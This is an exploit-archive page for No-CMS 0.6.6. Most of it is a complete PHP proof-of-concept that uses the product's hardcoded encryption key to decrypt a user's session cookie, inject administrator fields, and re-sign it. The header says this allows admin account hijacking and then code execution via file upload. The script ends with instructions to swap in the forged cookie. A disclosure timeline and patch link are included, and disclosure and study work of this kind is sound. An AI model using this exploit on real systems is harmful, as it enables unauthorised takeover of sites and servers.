No-CMS 0.6.6 Rev 1 Account Hijack / Remote Command Execution

2014.04.23
Credit: Mehmet Ince
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

<?php /* * * Static encryption_key of No-CMS lead to Session Array Injection in order to * hijack administrator account then you will be able for upload php files to * server via theme/module upload. * * This exploit generates cookie for administrator access from non-privileges cookie. * * Full analysis can be found following link. * http://www.mehmetince.net/codeigniter-based-no-cms-admin-account-hijacking-rce-via-static-encryption-key/ * * TIMELINE * * Apr 21, 2014 at 20:17 PM = Vulnerability found. * Apr 22, 2014 at 1:27 AM = First contact with no-cms developers. * Apr 22, 2014 at 1:31 AM = Response from no-cms developer. * Apr 22, 2014 at 2:29AM = Vulnerability confirmed by developers. * Apr 22, 2014 at 04:37 = Vulnerability has been patch via following commit. * https://github.com/goFrendiAsgard/No-CMS/commit/39d6ed327330e94b7a76a04042665dd13f2162bd */ define('KEY', 'namidanoregret'); define('KEYWORD', 'session_id'); function log_message($type = 'debug', $str){ echo PHP_EOL."[".$type."] ".$str; } function show_error($str){ echo PHP_EOL."[error] ".$str.PHP_EOL; exit(0); } function _print($str){ log_message("info", $str.PHP_EOL); } class CI_Encrypt { public $encryption_key = ''; protected $_hash_type = 'sha1'; protected $_mcrypt_exists = FALSE; protected $_mcrypt_cipher; protected $_mcrypt_mode; public function __construct() { $this->_mcrypt_exists = function_exists('mcrypt_encrypt'); log_message('debug', 'Encrypt Class Initialized'); } public function get_key($key = '') { return md5($this->encryption_key); } public function set_key($key = '') { $this->encryption_key = $key; return $this; } public function encode_from_legacy($string, $legacy_mode = MCRYPT_MODE_ECB, $key = '') { if ($this->_mcrypt_exists === FALSE) { log_message('error', 'Encoding from legacy is available only when Mcrypt is in use.'); return FALSE; } elseif (preg_match('/[^a-zA-Z0-9\/\+=]/', $string)) { return FALSE; } $current_mode = $this->_get_mode(); $this->set_mode($legacy_mode); $key = $this->get_key($key); $dec = base64_decode($string); if (($dec = $this->mcrypt_decode($dec, $key)) === FALSE) { $this->set_mode($current_mode); return FALSE; } $dec = $this->_xor_decode($dec, $key); $this->set_mode($current_mode); return base64_encode($this->mcrypt_encode($dec, $key)); } public function _xor_encode($string, $key = '') { if($key === '') $key = $this->get_key(); $rand = ''; do { $rand .= mt_rand(); } while (strlen($rand) < 32); $rand = $this->hash($rand); $enc = ''; for ($i = 0, $ls = strlen($string), $lr = strlen($rand); $i < $ls; $i++) { $enc .= $rand[($i % $lr)].($rand[($i % $lr)] ^ $string[$i]); } return $this->_xor_merge($enc, $key); } public function _xor_decode($string, $key = '') { if($key === '') $key = $this->get_key(); $string = $this->_xor_merge($string, $key); $dec = ''; for ($i = 0, $l = strlen($string); $i < $l; $i++) { $dec .= ($string[$i++] ^ $string[$i]); } return $dec; } protected function _xor_merge($string, $key) { $hash = $this->hash($key); $str = ''; for ($i = 0, $ls = strlen($string), $lh = strlen($hash); $i < $ls; $i++) { $str .= $string[$i] ^ $hash[($i % $lh)]; } return $str; } public function mcrypt_encode($data, $key = '') { if($key === '') $key = $this->get_key(); $init_size = mcrypt_get_iv_size($this->_get_cipher(), $this->_get_mode()); $init_vect = mcrypt_create_iv($init_size, MCRYPT_RAND); return $this->_add_cipher_noise($init_vect.mcrypt_encrypt($this->_get_cipher(), $key, $data, $this->_get_mode(), $init_vect), $key); } public function mcrypt_decode($data, $key = '') { if($key === '') $key = $this->get_key(); $data = $this->_remove_cipher_noise($data, $key); $init_size = mcrypt_get_iv_size($this->_get_cipher(), $this->_get_mode()); if ($init_size > strlen($data)) { return FALSE; } $init_vect = substr($data, 0, $init_size); $data = substr($data, $init_size); return rtrim(mcrypt_decrypt($this->_get_cipher(), $key, $data, $this->_get_mode(), $init_vect), "\0"); } protected function _add_cipher_noise($data, $key) { $key = $this->hash($key); $str = ''; for ($i = 0, $j = 0, $ld = strlen($data), $lk = strlen($key); $i < $ld; ++$i, ++$j) { if ($j >= $lk) { $j = 0; } $str .= chr((ord($data[$i]) + ord($key[$j])) % 256); } return $str; } protected function _remove_cipher_noise($data, $key) { $key = $this->hash($key); $str = ''; for ($i = 0, $j = 0, $ld = strlen($data), $lk = strlen($key); $i < $ld; ++$i, ++$j) { if ($j >= $lk) { $j = 0; } $temp = ord($data[$i]) - ord($key[$j]); if ($temp < 0) { $temp += 256; } $str .= chr($temp); } return $str; } public function set_cipher($cipher) { $this->_mcrypt_cipher = $cipher; return $this; } public function set_mode($mode) { $this->_mcrypt_mode = $mode; return $this; } protected function _get_cipher() { if ($this->_mcrypt_cipher === NULL) { return $this->_mcrypt_cipher = MCRYPT_RIJNDAEL_256; } return $this->_mcrypt_cipher; } protected function _get_mode() { if ($this->_mcrypt_mode === NULL) { return $this->_mcrypt_mode = MCRYPT_MODE_CBC; } return $this->_mcrypt_mode; } public function set_hash($type = 'sha1') { $this->_hash_type = in_array($type, hash_algos()) ? $type : 'sha1'; } public function hash($str) { return hash($this->_hash_type, $str); } } $encryption = new CI_Encrypt(); $encryption->set_key(KEY); // WRITE YOUR OWN COOKIE HERE! $cookie = rawurldecode("DZyb3lI68zh+RBNg8C4M03TEJhMR4BBMzNWA1YUampWQ6UKaiUhG48rwkdfIs9DJYNQc8pZDniflInnUrQz1FbRxueQ3NLCahBBmrTuw8Ib7OL7ycm/IbuR81WEVrWpYOnQ4Z57/w21OCyVw42TjSkXkfWfN67veJr5630eTBA03vRbvLunZ9RLEuElqNrJu/H63yibCv8fyRWNnKs56i5OuU6Dso11O49k4fhxd008WTvsGliLxiErCkWwYfGfcjUA3V2Mh9mkrLk0YEKIbt3hbNXhAnGhIVIVJURhnmibqEFUacB1gP1GnbP2fQy3NpJt317n/3/sH+jH4lM+53IY1HOJh7n/J6RU9jqMr1hdeslDxFaV7SCuB4vPuO7SScec8063aae4808b195d818d86fda1d280ebb06bd"); $len = strlen($cookie) - 40; if ($len < 0) { show_error('The session cookie was not signed.'); } // Check cookie authentication $hmac = substr($cookie, $len); $session = substr($cookie, 0, $len); if ($hmac !== hash_hmac('sha1', $session, KEY)) { show_error('The session cookie data did not match what was expected.'); } // Detect target encryption method and Decrypt session $_mcrypt = $encryption->mcrypt_decode(base64_decode($session)); $_xor = $encryption->_xor_decode(base64_decode($session)); $method = ''; $plain = ''; if (strpos($_mcrypt, KEYWORD) !== false) { _print("Encryption method is mcrypt!"); $method = 'm'; $plain = $_mcrypt; } else if (strpos($_xor, KEYWORD) !== false) { _print("Encryption method is xor!"); $method = 'x'; $plain = $_xor; } else { show_error("something went wrong."); } // Unserialize session string in order to create session array. $session = unserialize($plain); _print("Current Session Array :"); print_r($session).PHP_EOL; // Add extra fields into it $session['cms_user_name'] = 'admin'; $session['cms_user_id'] = 1; // Print out payload string. _print("Payload appended Session Array :"); print_r($session).PHP_EOL; // Serialize it $session = serialize($session); // Encrypt it with same key. if ($method === 'm') $payload = base64_encode($encryption->mcrypt_encode($session)); if ($method === 'x') $payload = base64_encode($encryption->_xor_encode($session)); // Calculation of hmac to add it end of the encrypted session string. $payload .= hash_hmac('sha1', $payload, KEY); _print("New Cookie"); _print($payload); _print("Use Tamper Data and change cookie then push F5!");

References:

http://www.mehmetince.net/codeigniter-based-no-cms-admin-account-hijacking-rce-via-static-encryption-key/


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top